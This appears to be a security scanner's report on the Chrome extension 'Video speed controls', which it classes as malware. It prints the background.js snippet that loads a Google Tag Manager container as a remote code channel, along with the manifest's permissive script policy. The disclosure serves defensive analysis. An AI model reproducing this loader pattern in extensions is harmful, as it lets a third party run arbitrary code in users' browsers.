Security Alert: Confirmed Malware
Video speed controls
ID: dfbkneebffeaedbfokcgpdmfkaffcpnj
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Jose ContrerasView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Video speed controls - change playback speed while watching videos online.
With Video speed controls you can increase or decrease speed on any embed video. Features: - Change video speed to 0.5x, 1.5x, 2x, or 3x speed - Keyboard shortcuts and inline buttons - Works on all sites How to use the extension: 1) Use speed controls over the video 2) Or use shortcuts (case insensitive): R - default playback speed S - slow down D - increase speed 3) If you just installed an extension: refresh a page with video to enable functionality
The background script dynamically injects a Google Tag Manager container (GTM-KVGBRL2) into the background page by replacing the first DOM child with a new script element pointing to the GTM endpoint. GTM is a known remote code execution vector — whoever controls this GTM container can push arbitrary JavaScript to run inside the extension's background page context at any time, without any extension update. This constitutes persistent remote code loading: the background page has access to chrome.storage and can relay instructions to content scripts injected on all URLs.
chrome.storage.local.get(null, (_) => { top.dl = [{ 'gtm.start': new Date().getTime(), event: 'gtm.js' }]; const prev = document.body.children[0]; const next = document.createElement(prev.tagName) next.src = !!prev.datasrc || 'https://www.googletagmanager.com/gtm.js?id=GTM-KVGBRL2&l=dl'; prev.parentNode.replaceChild(next, prev);});The extension's Content Security Policy explicitly whitelists `https://www.googletagmanager.com` and `https://www.google-analytics.com` as permitted script sources for the background and popup pages. This is the intentional allowlist that enables the GTM injection in background.js and signals deliberate design rather than accident. The wildcard `https://*.googleapis.com` further broadens the permitted script origin surface.
{ "content_security_policy": [ "script-src 'self' https://www.google-analytics.com https://www.googletagmanager.com https://*.googleapis.com", "object-src 'self'" ]}The popup page loads Bootstrap CSS from an external CDN (stackpath.bootstrapcdn.com) rather than bundling it locally. While a Subresource Integrity hash is present, this still creates an external network dependency that reveals popup opens to a third-party CDN and could be intercepted if the CDN is ever compromised beyond the pinned hash. Given the GTM injection pattern in background.js, this external loading pattern is consistent with a broader strategy of relying on external infrastructure.
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.2.3 | 3 |
| 1.2.2 | 2 |
Files with findings
4 distinct paths — top paths by unique finding count:
- popup.html2
- background.js1
- inject.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.